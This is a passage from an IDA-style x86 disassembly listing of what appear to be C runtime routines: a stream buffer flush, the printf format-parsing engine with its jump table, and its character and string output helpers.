loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_4363A8
		jz	short loc_419D83
		cmp	esi, offset dword_4363C8
		jnz	short loc_419D8E

loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95

loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------

loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------

loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_4362F0

loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch

loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------

loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------

loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------

loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh

loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------

loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax

loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump

loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------

loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx

loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_433C70	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8

loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh

loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_433C6C
		mov	[ebp+var_8], ecx

loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------

loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------

loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8

loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------

loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_433C68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1

loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_435FD0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FDC
		pop	ecx

loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FD4
		pop	ecx

loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi

loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------

loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_433C68
		mov	[ebp+var_8], ecx

loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx

loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------

loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8

loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7

loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------

loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h

loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah

loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax

loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx

loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C

loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------

loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0

loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------

loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0

loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417

loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]

loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442

loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax

loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h

loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1

loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h

loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------

loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h

loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64

loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------

loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]

loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF

loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
